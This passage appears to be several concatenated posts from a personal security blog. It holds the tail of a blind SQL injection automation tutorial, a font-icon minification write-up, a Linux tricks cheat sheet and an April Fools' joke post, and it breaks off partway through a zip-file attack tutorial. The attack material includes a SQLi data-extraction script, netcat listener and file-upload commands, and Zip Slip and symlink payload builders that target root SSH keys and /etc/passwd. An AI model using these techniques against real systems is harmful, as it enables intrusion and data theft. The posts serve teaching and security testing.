        future = executor.submit(get_by_bsearch, f"ASCII(SUBSTRING(({sql}),{idx+1},1))", 0, 128)
        future_map[future] = idx

    # Handle finished tasks concurrently.
    for future in concurrent.futures.as_completed(future_map):
        idx = future_map[future]
        ch = future.result()
        # We found the character at a particular index!
        # Store it somewhere...
        somewhere[idx] = ch

The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...

length = get_by_bsearch(f"LENGTH(({sql}))", 0, 2048)

Adding Comfort Features

Aside from a tool’s utility, we should also consider user experience. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it'd be nice to have visual feedback; waiting can be boring.

Here are some things we'll add to our automation:

Command Line Arguments
Progress Bar
Interactive Interface

At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.

Command Line Arguments

argparse, built-in, robust, used almost everywhere
python-fire, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)

Progress Bar

Common options are:

rich, colourful, great look-and-feel
tqdm, traditional rectangular progress bar

Some challenges arise when mixing progress bars with multithreading. In general...

Dropping to a lower-level API helps alleviate issues. For example, rich allows you to control how tasks are added, updated, and removed.
KeyboardInterrupt and Exceptions should be carefully handled. You do want ^C to work right?
- "Boss, we accidentally swamped the hospital's database with our script. Their server was weak."
- "Stop it! Millions of lives are at stake!"
- "We can't... Control-C doesn't work!"
- "You leave me no choice." (pours water over computer)

Interactive Interface

Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing input() in a while-loop could work, but doesn't have the usual shortcuts (e.g. up for previous command⁴). To have a nicer, cross-platform terminal interface, we can use:

prompt_toolkit
- Has the usual terminal shortcuts: up, down, reverse search ^r.
- Command history can be stored in a file so that it persists across runs.

The implementation is as simple as replacing input() with prompt.prompt().

Before:

sql = input("sqli> ")

After:

prompt = PromptSession(history=FileHistory(".history"))
sql = prompt.prompt("sqli> ")

Conclusion

In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.

Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.

Footnotes

Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with CHAR. (This is the method SQLmap uses.) Another possible way in MySQL is to use ord, which maps multibyte characters to base-256. Character encoding is hard. :( ↩︎
Full code for the Flask + SQLite demo is uploaded on GitHub for reference. ↩︎
This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don't do binary search because the algorithm is tricky to get right. But it's useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. ↩︎
Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ ↩︎

Optimising Web Icons for Fun

2024-05-23T00:00:00Z

I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I've been eyeing my Font Awesome (FA) assets for a while, and lately they've been a curious itch.

Here’s the dealio: icon webfonts are known to bundle all icons. This includes icons we don't use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?¹

I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their use cases, but the modern web recommends SVGs for general cases.

Due to historical reasons, this site uses webfonts; and unfortunately, replacing webfonts with SVGs is not a simple find-and-replace. If it were, I would've included it in this analysis. After a painful struggle migrating a few icons, I decided to postpone migration. Didn't really feel like tuning CSS.

So I turned my attention to slimming down webfonts like Garfield doing cardio. But before I explain the process, let's understand how icon webfonts work.

Icon Webfonts Under the Hood

Fonts and Unicode

There are various font formats: WOFF, TrueType, OpenType. These are essentially different ways to compress and store fonts. WOFF2, for instance, is a modern compression format optimised for the web.²

Ultimately, fonts are mappings from integer codepoints to glyphs. These codepoints are standardised by the Unicode Standard and are expressed in the format U+[0-9A-F]{4,6}, i.e. “U+” followed by 4-6 hexadecimal digits. For example, the number U+0030 maps to "0", and U+0041 maps to "A", U+2206 maps to "∆" (delta), and U+6C34 maps to "水".

Codepoints are not to be confused with UTF-8, UTF-16, and UTF-32, which are different ways to efficiently store Unicode characters in byte format.

You may be wondering: so what codepoints map to icons? This is up to icon packs to define. Since most icons are custom by nature, they're usually placed in custom regions known as Private Use Areas, reserved by the Unicode Standard. One such region is U+E000 – U+F8FF.

Fonts and CSS

For webfonts to work, codepoints need to exist in the HTML text. But that's terribly inconvenient — writing magic numbers makes for hard-to-maintain code.

This is where CSS comes in. Specialised CSS rules connect the HTML code to the exact font glyph via a two-step process: 1) identifying the font file and 2) identifying the codepoint. Once the browser has these two pieces of information, it can render the glyph.

Suppose we write the following HTML code:

<i class="fas fa-rocket"></i>

The font file is determined by matching the assigned font with the custom font face. The fas class is key here.

.fas {
  font-family: "Font Awesome 6 Free"
  font-style: normal;
  font-weight: 900;
}

@font-face {
    font-family: "Font Awesome 6 Free";
    font-style: normal;
    font-weight: 900;
    font-display: block;
    src: url(../webfonts/fa-solid-900.woff2) format("woff2"), url(../webfonts/fa-solid-900.ttf) format("truetype")
}

The codepoint is inserted with a :before pseudo-element. For fa-rocket, this is U+F135.
```
.fa-rocket:before {
  content: "\f135"
}
```
CSS

It's a lot of indirection, and this is one reason why SVGs are preferred; but hey, this was the gold standard a decade ago.

Multiple Variants

To complicate matters, FA fonts have different variants, and they modularise this by using the same codepoint, but separate font files. Not all fonts do this though. Devicon packs all their styles into a single font file. Here are some examples of FA styles.

	Solid	Regular	Brands
`fa-star` (U+F005)
`fa-user` (U+F007)
`fa-thumbs-up` (U+F164)
`fa-github` (U+F09B)

An Icon Dieting Plan

With the backstory out of the way, let's discuss the high-level algorithm.

In my mind, all we have to do is post-process the generated static files like so:

Crawl the HTML files for a Font Awesome CSS. Parse the CSS and associated WOFF2 font files.
Crawl the HTML files (and perhaps other files) for used icons.
Construct a font file containing the minimum icons. We may also need to remap codepoints to resolve clashes.
Construct a CSS file containing the new mappings from icon class (e.g. .fa-star) to codepoint.
Write the CSS and font files.
Replace the original CSS links with the new CSS file.
Celebrate!

To no one's surprise, this shaved off more than 97% bytes. A success! Or is it?

Where speed?

As with many things in engineering, one metric rarely provides good coverage.

After integrating the minification into my build process, I excitedly waited for the site to build. I opened Chrome dev tools, loaded my site, and... what?! It was slower? Okay, maybe it was the first load, and the page wasn't cached on the edge.

But even after refreshing multiple times, the Time to First Byte (TTFB) was roughly the same compared to loading the original files.

The answer? CDN.

What is a CDN? CDNs (Content Delivery Networks) are servers deployed all over the globe, optimised to deliver assets such as JS, CSS, images, and fonts.

Moreover, if the file is guaranteed to not change (e.g. a versioned library asset), then the server can return a high browser cache duration, typically 1 year. Subsequent requests can just reuse the downloaded file.

The original files are delivered over a CDN. On the other hand, the minified files are served from Cloudflare Pages, which aren't optimised for low-latency delivery. Further, CF Pages may modify the URL/request/response via Page Rules or Cache Rules, and this extra server-side processing takes a toll on the response speed.

I benchmarked the response speed of delivery by CDN versus the site directory. The methodology is simple: collect download times from multiple points around the world, repeat this a couple times, and find the median. And we perform this for 6 different asset files.

Turns out, cdnjs.cloudflare.com delivers almost 50% faster.

Asset	Total Time (in ms)³	Total Time x3 (in ms)⁴
CSS (cdn; unminified)	17	-
CSS (site; unminified)	29	-
CSS (site; minified)	29	-
Font (cdn; unminified)	21	63
Font (site; unminified)	38	114
Font (site; minified)	47⁵	-

^{Font Awesome Free 6 benchmark for downloading assets from a CDN vs Cloudflare site. Here, unminified/minified refers to whether files contain excess icons; it does not refer to excess whitespace. The expectation is that minified assets are faster. (Data)}

I did leave out one detail though. The minified font is packaged in one file. The original FA fonts are delivered in three, separate files (Solid, Regular, Brands). If we account for this by multiplying unminified font results by a factor of 3, I think it's fair to say we have ourselves a win.

Another thing to consider: CDN assets may also be used by other sites, meaning the assets may already be cached. 10 sites using the same CDN font asset is better than 10 sites using minified font assets. If we browse these 10 sites, the former gives 1 set of downloads + 9 cache hits, while the latter has 10 sets of downloads + 0 cache hits.

Aside from the glaring potential for a delightful, thought-provoking discussion on collectivism and individualism, this begs the question: is it really worth it?

Cache Busting with Cloudflare Cache Rules

Similar to a CDN, we would like to take advantage of browser cache by providing a high cache time. This way, if the user visits the site across the week, they wouldn't need to re-download the measly 8kB of gzipped assets. This is ideal for sites that update sporadically.

You're probably thinking — come on, it's just 8kB, are you masochistic? And my response would be: it's a potential saving of 100ms for return visitors, and yes.

By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the Cache-Control header.

^{Create a cache-busting rule for URI paths starting with /cb/.}

^{Set the cache time to 1 century year.}

^{It works!}

We've applied cache-busting to the /cb/ path. All that's left is to make sure our new assets are written to _site/cb/; but more importantly, that the file name changes between different versions. This is super important.

If we updated our CSS/font file, we need to tell the browser: "Hey! Download and cache the new version online. Don't use the old cached file!" Changing the file name is the best way to force a cache-miss. Nothing complex. We can just append the file hash to each file.

I used the first 8 bytes of MD5, but any common hash will do. Now our files resemble /cb/webfonts/icons-10736075e7883838.woff2.

We just need to propagate this to our CSS, then HTML files, and we're done!

Closing Remarks

The code is a bit of a handful, but I've uploaded it on GitHub: TrebledJ/icon-minifier. Taking inspiration from other projects, I designed it to work as a CLI tool, but you can also import the API. Currently, it only handles Font Awesome fonts. I may add other webfonts later, and maybe have an SVG integration. Pull requests are welcome.

I should also point out that icon minification isn't a new problem. In fact, there are some general solutions designed to minify fonts. These are designed to compress fonts with many characters such as Chinese, Korean, and Japanese; though some work with icons too. Of the three, Font Spider has the most comprehensive features.⁶

Given the mediocre results, I'll continue keeping an eye on CDN performance and perhaps move on to better alternatives. Next step: mentally prepare myself to wrangle some CSS, and migrate to SVGs.

Footnotes

287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used! ↩︎
Google Font Glossary: Web Font ↩︎
Total Time includes DNS resolve time + connection time + download time. Times are sourced from uptrends.com. (Not sponsored. It just seems to have the largest coverage.) ↩︎
Total Time x3 applies when multiple font files are downloaded. This is used to provide a more accurate representation of resources used. ↩︎
The deviation between "Font (site; unminified)" and "Font (site; minified)" is most likely due to network latency and jitter. ↩︎
It even has a punny Chinese name! 字蛛! ↩︎

Practical Linux Tricks for the Aspiring Hacker

2024-04-08T00:00:00Z

This is a collection of commands I've picked up over the last few years, which I've found immensely useful. My favourite ones are probably:

less: search/filter on a file or long text
^r: reverse search
!$: last argument of previous command

By "favourite", I mean I've used these commands a lot, and they've drastically increased my productivity.

Cool Stuff

Control (^) Commands

^c # Duh. https://xkcd.com/416/
^d # Exit / EOF.

Reverse/Forward Search: for those long commands stashed in history. Works in PowerShell and REPLs too!

^r
^s

^{Note: to make ^s work in bash/zsh, you may need to run stty -ixon, which disables software control flow.}

Ternary Expression

[ 1 -eq 1 ] && echo 'true' || echo 'false'
true

Clear screen. Useful for graphical hiccups.

reset

Run shell script without chmod +x.

. ~/.zshrc
source ~/.zshrc

Tree view of files.

tree

Strings

Double-Quotes vs. Single-Quotes

Double-quotes allow variable expansion and command substitution.
Single-quotes don't. Prefer single-quotes for simple strings.

echo "$((1+1))" "$SHELL"
2 /bin/zsh
echo '$((1+1))' '$SHELL'
$((1+1)) $SHELL

Multi-Line / Escape
Prefix the string with $.

echo $'...'

Escape Single-Quotes

Example

Multi-Line Strings.

echo $'1\n2\n3'
1
2
3

Find words containing 't in comma-separated line.

echo -n $'can\'t,don\'t,I\'ll,I\'m,won\'t' | awk -vRS=, $'$0 ~ /\'t/'
can't
don't
won't

Previous-Command Tricks

$?: exit code of previous command
- By convention, 0 means no error. Non-0 implies an error occurred.
!!: previous command
!$ or $_: last argument of previous command

Examples

Retry with sudo.

mkdir /var/tmp/lol
Permission denied.
sudo !!
→ sudo mkdir /var/tmp/lol
Success!

Found an interesting directory, but forgot to cd.

ls long/path
cd !$
→ cd long/path

Rename file in folder from file.txt to booyah.md.

cat long/path/file.txt
mv "!$" "$(dirname !$)/booyah.md"
→ mv long/path/file.txt long/path/booyah.md

Other Useful Commands (stolen from here)

!!:n - nth argument from previous command
!^ - first argument (after the program/built-in/script) from previous command
!* - all arguments from previous command
!n - command number n from history
!pattern - most recent command matching pattern
!!:s/find/replace - last command, substitute find with replace

Redirection

< out.txt # Read from file (to stdin).
> out.txt # Write to file (from stdout).
>> out.txt # Append to file (from stdout).
2> out.txt # Write to file (from stderr).
&> out.txt # Redirect all output.
&> /dev/null # Redirect everything into the void.
2>&1 # Redirect stderr to stdout.

>& # Same as `&>`.

Powerful Utilities

awk: filter lines, filter columns, math, scripting, etc.
sed: filter/replace text
grep: filter lines
cut: filter columns
tr: replace/remove characters
wc: count characters/bytes/words
find: find files in folder, execute command for each file with -exec
xargs: feed arguments into commands, simple cmdline multi-processing

I won't cover too much of these commands here, as tons of articles already cover them. And you can browse examples online or in their man pages.

awkward things

awk - Cut

Cut third field.
awk '$0=$3'

Print third field. (Pretty much same as the command above.)
awk '{print $3}'

Use ',' as field delimiter, e.g. for CSVs.
awk -F, '{print $3}'

Or use the script variable `FS` (Field Separator).
awk -v FS=, '{print $3}

awk - Filtering

Without entering the scripting environment {...}, awk will run filters against each line.

seq 1 4 | awk '$1 % 2 == 1'
1
3
echo $'foo1\nbar1\nfoo2' | awk '$0 ~ /^foo/'
foo1
foo2

awk - Math

Add 5 to the first arg, then print the line.
awk '{$1 += 5}1'

seq 1 3 | awk '{$1 += 5}1'
6
7
8

awk - Scripting

awk '{print "booyah",$1,"yahoo"}'
awk also has variables, if, for, while, arrays, etc.

Script variables. (Useful for configuring row/column delimiters.)

RS: Record Separator (rows)
FS: Field Separator (columns)
ORS: Output Row Separator
OFS: Output Field Separator
NR: Record Number (current row, 1-indexed) [read-only]
NF: Number of Fields [read-only]

grep

Useful Flags

-i # case-insensitive
-E # regex
-v # non-match (inVert)

grep – Find String in Files

grep -rnw /path/to/somewhere/ -e 'pattern'

-r or -R is recursive,
-n is line number, and
-w stands for match the whole word.
-l can be added to just give the file name of matching files.
-e is the pattern used during the search

Ref: https://stackoverflow.com/a/16957078/10239789

Other useful flags:

-A N/-B N/-C N: context; prints N lines of context after/before/around the matched line

xargs

xargs is a versatile command-line utility that allows efficient execution of commands, making it a powerful tool for automation and batch processing.

Interesting options:

-P <n> # max procs
-n <n> # num args
-I {}  # pattern to insert into command

Examples

Combine multiple lines into 1 line.

echo $'1\n2\n3'
1
2
3
echo $'1\n2\n3' | xargs 
1 2 3

Multi-Processing: Execute ./do-something-to-file.sh <file> on multiple files, with at most 4 processes.

cat files.txt | xargs -P 4 -n1 ./do-something-to-file.sh

Multi-Processing: Port Scan with Ports 1-1000 through proxychains.

seq 1 1000 | xargs -P 50 -I{} proxychains4 -q nmap -p {} -sT -Pn --open -n -T4 --oN nmap.txt --append-output 192.168.101.10

Other Utilities

basename ~/.bashrc
.bashrc
dirname ~/.bashrc
/home/trebledj

Directory Stack

pushd # Push current directory, for easier returning.
popd  # Return to directory on top of stack.
dirs  # List history of dirs.

pushd/popd Example

cd ~/a/b/c
pushd deep/nested/directory
Jump to `deep/nested/directory`, push `~/a/b/c` into the stack.
cd ../../jump/around/some/more
cd ../../and/a/little/more
popd  # Return to `~/a/b/c`.

less

less is a powerful text viewer (read-only), with capabilities to navigate, search, and filter lines in a file or long text.

Get some help. See all commands:

less - Nice Options

less file.txt

Renders ANSI colors.
less -R file.txt

Pager search becomes case insensitive.
less -I file.txt

Line numbers.
less -N file.txt

You can turn on/off these options inside less by typing -I<Enter>, -R<Enter>, or -N<Enter>. This is useful if you forget to turn them on beforehand (e.g. after curling a web request).

j # Line down.
k # Line up.
f # Page down.
b # Page up.
d # Half-page down.
u # Half-page up.

g # Go to start of file.
G # Go to end of file.

<n> g # Go to nth line.

# Go to the n% line of the file.
<n> p
20p 40p 50p 80p

# What's the current line?
^g

less - Search / Filtering

# Search (regex enabled).
/ <pattern>
# For case-insensitive search, use `less -I`.

# Navigate search results: next/prev result.
nN

# Filter lines by search.
& <pattern>
# Filter NON-MATCHING lines
& ! <pattern>
# Clear filter.
& <enter>

less - Scrolling

Personally, I prefer less+F over tail -f.
Use ^c to exit the feed.

# Continuous feed (e.g. for streams of data)
F

less - Working with Multiple Files

less also works with multiple files passed in the command line, e.g. less *.txt.

# Next file.
:n
# Previous file.
:p

More commands in man less.

Processes

fg/bg - "I'll be back."

Shells allow you to move processes between the foreground (which accepts interactive input) and background (to run things which don't require input).

^z # Push process to background (and pause it).
bg # Start background process.
fg # Bring most recent background process into foreground.
fg 2 # Bring job 2 into foreground.
jobs # View background jobs.

^c # Good ol' ctrl-c stops the process in fg.
kill <pid> # Kill process with given process ID.

Start a command in the background.
<cmd> &

Example

Start an HTTP server on port 8080.

python -m http.server 8080 &
[1] 17999

The process is started in the background with job number 1, PID 17999.

To kill the process:

fg
^c

or...

kill 17999

Process ID (PID) and Job Number are two different things.

PIDs apply to all users in the entire system, and are assigned by the kernel.
Job Numbers apply to the current shell, and are numbered linearly from 1 onwards.

View Running Procs

ps aux

Combine with grep/less for filtered results.

Networking

IP and Ports

IP Addresses and Networks

ifconfig
ifconfig tun0

Get Our Public IP

curl ifconfig.me
X.X.X.X

Open Ports/Sockets

netstat -anp

-a: all sockets
-n: numeric addresses
-p: associated processes

Listen/Connect

Initiate a connection.
nc 192.168.1.1 8080

Listen for a connection.
nc -nlvp 4444

Download Files

Download and save to a local file.
curl <url> -O
wget <url>

Download with a custom filename.
curl <url> -o filename.txt
wget <url> -O filename.txt

Download silently and display in `less`.
curl <url> -s | less
wget <url> -s | less
curl some.api.site/api/v1/users/ -s | jq | less

Upload Files

python -m uploadserver

By default, uploadserver starts a server at port 8000.
Get our IP from ifconfig.

curl -F files=@file1.txt -F files=@file2.txt 192.168.45.179:8000/upload

Files

Check File Sizes

Get available disk space.
df -h
Get file size of current directory, in human readable format.
du -sh .
Get file size of txt files, in human readable format.
du -sh *.txt

Find/Operate on Files

Find files in operating system, and ignore errors.
find / -name '*needle*' 2>/dev/null

Find [f]iles or [d]irectories.
find . -type f -name '*needle*'
find . -type d -name '*needle*'

Find and run command on files. \; is needed for `find` to know where to terminate.
find . -type f -name '*complex*' -exec echo {} \;
find . -type f \( -name '*complex*' -or -name 'query' \) -exec du -h {} \;

Other useful flags:

-mindepth N/-maxdepth N: minimum/maximum recursion depth, e.g. -maxdepth 1 would only operate on files directly within the current folder

git gud

Git commands for completeness.

Make new branch.
git checkout -b <name>

Checkout commits in tree before HEAD.
git checkout HEAD~1  # 1 commit before.
git checkout HEAD~10 # 10 commits before.

Checkout commit from parent.
git checkout HEAD^  # 1 commit before (from parent 1, base).
git checkout HEAD^2 # 1 commit before (from parent 2, target).

Store changes locally.
git stash
git stash pop

Clean edited files.
git reset [--hard]
--hard removes unstaged files.

View changes.
git diff | less
git diff <file> # See change in specific file.

Jump through commits (to find, say, the cause of a bug).
git bisect [start|reset|good|bad|skip]

git tree

Command-line git tree from git log.
git log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)' --all

More detailed git-tree 
git log --graph --abbrev-commit --decorate --format=format:'%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n''          %C(white)%s%C(reset) %C(dim white)- %an%C(reset)' --all

Add them as git aliases in ~/.gitconfig or script aliases in ~/.bashrc.
See https://stackoverflow.com/a/9074343/10239789.

Fun watch: So You Think You Know Git?

vim

Haha. Nope.

Not covering that here.

How to Exit Vim

Obligatory.

:wq  # Write to file + exit.
:q!  # Force exit.

Okay, that's enough vim.

Useful Things

Set line numbers.

:set number

tmux

Actually decently useful? This is not a substitute for a tmux tutorial/introduction, the main goal is to be a simple cheatsheet. Go learn it in 5 minutes.

Start a new tmux session.
tmux
Reuse a previous tmux session.
tmux attach -t 0
tmux attach -t custom-name

Must-know commands. (Note: C-b is Ctrl+b. C-b d means hit Ctrl+b, then press d.)

C-b d       # Detach session (reconnect with tmux attach -t 0)

Navigate panes
C-b (up/down/left/right)

C-b c       # New window
C-b n       # Next window
C-b p       # Previous window
C-b %       # Split pane (left/right)
C-b "       # Split pane (up/down)"
C-b x       # Close pane
C-b &       # Close window
C-b ?       # Help (common commands)

Useful commands.

C-b (0-9)   # Jump to window #0-9
C-b z       # Zoom/Unzoom pane (useful when needing to copy something with multiple lines)
C-b ,       # Rename window

Toggle preset pane layout
C-b alt-(1-5)
C-b space   # Cycle through preset layouts

Copy mode
C-b [
C-b page-up # For scrolling
C-c         # Exit copy mode (Ctrl+c)

Search output history (make sure you're in copy mode)
/

Rename session (then use when tmux attach -t custom-name)
C-b :rename-session custom-name

Hacky Hack Hack

Generate Bytes

Buffer overflow for fun and profit.

echo

echo -n '\x01\x02'

echo -n '\x41' | xxd
00000000: 41                     A

perl (good for repetitive sequences)

perl -e 'print "\x41"x4 . "\x42\x43"' | xxd
00000000: 4141 4141 4243         AAAABC

I've mentioned this elsewhere, but I'll repeat it here: I don't recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer perl or echo instead.

For example: python -c 'print("\xc0")' prints \xc3\x80 (À) instead of \xc0. Why? Because the Python string "\xc0" is interpreted as U+00C0, which is \xc3\x80 in UTF-8.

assert '\xc0'.encode() == b'\xc3\x80'

Printing bytes in Python is difficult to do concisely.

Simple Binary Analysis

Look for strings.

strings file
strings -n <numchars> file

Look for strings and print addresses (in hex)!

od -A x -S 4 file

Tracing

strace - trace system calls (open, read, write, etc.)
ltrace - trace library (glibc) calls

I'm now a Certified Offensive Waterblower!

2024-04-01T00:00:00Z

Waterblowing is a Cantonese slang for bullshitting or small talk. But here it mainly refers to the former.

I'm thrilled to share a major achievement in my career: I am now officially a Certified Offensive Waterblower (COW)! 🐄💧🔥

After months of rigorous training, unwavering dedication, and countless facepalms, I have successfully mastered the art of offensive waterblowing. 💪💧💨

Curious about offensive waterblowing? It's a cutting-edge technique where practitioners combine the power of blunt, no-bullshit remarks and third-degree burns to deliver roasts hot enough to cook an A5 wagyu to perfection. 🔥🥩 (Check out the official registration process!)

Here is a demonstration of practical offensive techniques out in the wild.

“Looks like you grew some white hair. Did you recently pick up Rust?”
“The S in C stands for Secure.”
“You don’t use SQL prepared statements? What are you? A PHP dev?” 🐬
“Triangles are the most versatile shape, except when they’re in the same room as a percussionist.”
“How do you keep a violin from being stolen? Put it in a viola case.”

With the COW certification, I’ve honed the ability to execute penetration tests against a target’s mental state and deliver unforgiving emotional damage. By testing every insult vector, we develop the target’s emotional quotient, the EQualisation of the mind.

Professional COWs are trained in practical offensive tools, such as Burping mid-conversation, SQueaLing inappropriately, and employing Common Vituperative Exclamations (CVEs).

For instance:

“You are old.” (CVE-1970-421337)
“You suck.” (CVE-1980-5432)
“Your country sucks.” (CVE-1984-5432)
“Your code sucks.” (CVE-2000-311299)
“You talk too much.” (CVE-2024-80420)
“Why are you so quiet?” (CVE-2024-80421)

In latter stages, we are trained in more advanced techniques, such as deploying botnets to take over 300 million electric toothbrushes running Java, poisoning Devin with insecure code (it’s called job security), and sidechaining modern SSH libraries (so that we can be backdoored by xz-utils).

Now, you might be wondering why I embarked on this unique certification journey in offensive waterblowing. Well, as an IT professional in a world full of superfluous certificates and endless new JS runtimes, I've made the most of my time by learning what matters most: building emotional intelligence and sipping milk tea.

With my COW certification, I aim to redefine the boundaries of professional interaction in the business world. By injecting Common Vituperative Exclamations, we can foster a more creative and resilient industry. 🔒💡

On a historic note, although this certification was originally designated for individuals of a certain gender with a certain intellectual capacity, the Association of Bombastic Certifications Inclusion and Diversity Department has opened the floor to various groups, so that everyone can now be an offensive waterblower. How nice is that! 🌐💧

Get your COW certificate today! (Click here to get it now!) Only costs $50,000 USD, your job, and a childhood. 💸🐮

From Compression to Compromise: Unmasking Zip File Threats

2024-02-15T00:00:00Z

Zip files are everywhere in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.

But as we know from Silicon Valley, zip files have the potential to be dangerous.

^{YouTube: Silicon Valley - The Ultimate Hack}

In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.

The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.

Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

Zip Slip is a fancy name for directory traversal but applied to zip uploads. The idea is to escape a directory by visiting parent directories through ../ (or ..\ on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.

Let's look at an example.

A typical zip file may look like this:

foo.zip
└── data1.csv
└── data2.txt
└── ...

But in a Zip Slip payload, files are prefixed with nasty double-dots (../). As an example, we'll try to overwrite SSH keys by writing to /root/.ssh/authorized_keys.

evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys

(Note: placeholder.txt has been included as a control variable, i.e. to show what happens normally to files.)

Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.

Suppose a vulnerable application unzips evil-slip.zip to /app/uploads/. The unzipped authorized_keys file would end up in /app/uploads/../../root/.ssh/authorized_keys, i.e. /root/.ssh/authorized_keys.

/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys

^{Result of unzipping evil-slip.zip. Note that placeholder.txt resides in the unzip directory, while authorized_keys has sneaked its way into /root/.ssh/.}

Overwriting ~/.ssh/authorized_keys is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See this MITRE reference.)

This isn't the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).

DIY: Build your own Zip Slip payload!

With Python

Python's built-in zipfile module provides a convenient way to create zip files.

import zipfile

with zipfile.ZipFile("evil-slip.zip", "w") as zip:
    zip.write("my-ssh-key.pub", "../../root/.ssh/authorized_keys")
    #          │                 └ filename to store on the archive
    #          └ file to compress from our local file system

This creates a new evil-slip.zip zip file. After importing the zipfile module, we create an instance with the desired file name (evil-slip.zip) and use write-mode ("w"). (There is also r and a for reading/adding files.)

We also use Python's with statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.

Inside, we use zip.write to add files to the zip. We add a local file my-ssh-key.pub and store it as ../../root/.ssh/authorized_keys in the archive.

One nice thing about the zipfile module is that it constructs the file in-memory (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.

_(collapse)

With Shell Commands

Another approach is to use shell commands and reverse the process: start with the files we want unzipped.

touch ../../root/.ssh/authorized_keys
Normally we would run `ssh-keygen` to generate a key pair...
and use the generated public key as our authorized_keys.
But let's assume ../.ssh/authorized_keys holds a public key.

zip evil-slip ../../root/.ssh/authorized_keys
  adding: ../../root/.ssh/authorized_keys (deflated 18%)

unzip -l evil-slip
Archive:  evil-slip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys
---------                     -------
      575                     1 file

_(collapse)

Limitations of Zip Slip

On Windows, you may need backslashes \ instead of forward slashes /. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.
The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder. For instance, to write to foo/bar/baz/flag.txt, we need x permissions on foo/ and foo/bar/; and wx permissions on foo/bar/baz/.

Zip Symlink Attacks 🖇

Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let's first clarify two types of symlinks in our arsenal:

Symlink Files. This allows us to potentially read arbitrary files.
Symlink Directories. This allows us to potentially write files to arbitrary folders.

Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, WAFs, etc.

Arbitrary File Read with File Symlinks

Let's start with a simple zip symlink payload. Here's a zip which contains a symlink to /etc/passwd.

evil-link-file.zip
└── passwd.txt         -> /etc/passwd

Suppose (again) a vulnerable app unzips this file at /app/uploads/. The filesystem would now resemble:

app/
└── uploads/
	└── passwd.txt     -> /etc/passwd

If we can read files in /app/uploads/, then we can read passwd.txt and by extension, /etc/passwd!¹ We can use this method to read any file on the system (subject to certain constraints to be discussed later).

This is all fine and dandy if we can read files in /app/uploads/. But... what if can't?

One solution is to find a readable directory, then deploy the symlink into that directory with Zip Slip. But let's look at another way to achieve the same result...

Arbitrary File Write with Dir Symlinks

Although Zip Slip does allow us to perform arbitrary file writes, .. patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.

Again, let's try to write a file to /root/.ssh/authorized_keys.

Instead of using one zip entry, we'll use two: a directory and a file.

evil-link-dir.zip
└── dirlink/           -> /root/.ssh/
    └── authorized_keys

These two entries are:

dirlink: a symlink to our target directory
dirlink/authorized_keys: the file we're trying to write

Now our zip contains a symlink directory! Let's go through what happens when this file is unzipped by a vulnerable app.

First, dirlink is decompressed and a symlink is created, pointing to /root/.ssh/. Next, the app tries to decompress dirlink/authorized_keys, which—if the app follows symlinks—gets written to /root/.ssh/.

Tada! We've just shown another way to achieve arbitrary file write.

Let's see what the filesystem looks like now.

/
├── app/
│	└── uploads/
